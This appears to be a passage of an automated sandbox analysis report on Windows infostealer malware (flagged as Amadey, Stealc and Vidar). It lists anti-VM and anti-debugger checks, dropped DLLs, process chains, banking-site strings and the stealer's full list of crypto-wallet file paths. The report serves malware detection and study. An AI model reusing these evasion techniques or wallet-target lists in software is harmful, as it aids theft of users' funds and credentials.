Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Special instruction interceptor: First address: CEEC3C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Special instruction interceptor: First address: F24422 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C7EC3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EB4422 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

Code function: 20_2_04A30CBB rdtsc

20_2_04A30CBB

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 542
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3307
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 3707

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 1864	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6188	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1480	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1200	Thread sleep count: 66 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1200	Thread sleep time: -132066s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1520	Thread sleep count: 57 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1520	Thread sleep time: -114057s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9188	Thread sleep count: 542 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9188	Thread sleep time: -16260000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2228	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6544	Thread sleep count: 58 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6544	Thread sleep time: -116058s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6672	Thread sleep count: 3307 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6672	Thread sleep time: -6617307s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9144	Thread sleep count: 3707 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9144	Thread sleep time: -7417707s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9144	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 9144	Thread sleep time: -80040s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4FC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4FC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000017.00000002.3307368288.0000000000E03000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: skotes.exe, 00000017.00000002.3309117887.0000000001299000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW9
Source: Web Data.7.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.7.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3309117887.000000000126B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3309117887.0000000001299000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.7.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Web Data.7.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.7.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.7.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.7.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.7.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.7.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.7.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Web Data.7.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.7.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.7.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.7.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.7.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000002.2415050172.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@L
Source: Web Data.7.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2414108549.0000000000730000.00000040.00000001.01000000.00000003.sdmp, DocumentsDGCFHIDAKE.exe, 00000014.00000002.2507971966.0000000000E73000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2536474442.0000000000E03000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.3307368288.0000000000E03000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.7.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.7.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsDGCFHIDAKE.exe

Code function: 20_2_04A30CBB rdtsc

20_2_04A30CBB

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C545FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C545FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C54C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C54C410

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C4652B mov eax, dword ptr fs:[00000030h]		23_2_00C4652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_00C4A302 mov eax, dword ptr fs:[00000030h]		23_2_00C4A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C51B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C51B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C51B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6380, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDGCFHIDAKE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDGCFHIDAKE.exe "C:\Users\user\DocumentsDGCFHIDAKE.exe"
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: file.exe, file.exe, 00000000.00000002.2414108549.0000000000730000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Lg'Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C51B341 cpuid

0_2_6C51B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4E35A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_00C165E0 LookupAccountNameA,

23_2_00C165E0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.skotes.exe.c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsDGCFHIDAKE.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.2507820926.0000000000C81000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.2536327231.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3306899400.0000000000C11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2419032587.0000000004850000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.2495671882.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.2676213781.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2045377744.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2413840045.0000000000361000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2415050172.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6380, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6380, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2413840045.00000000004C7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2415050172.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 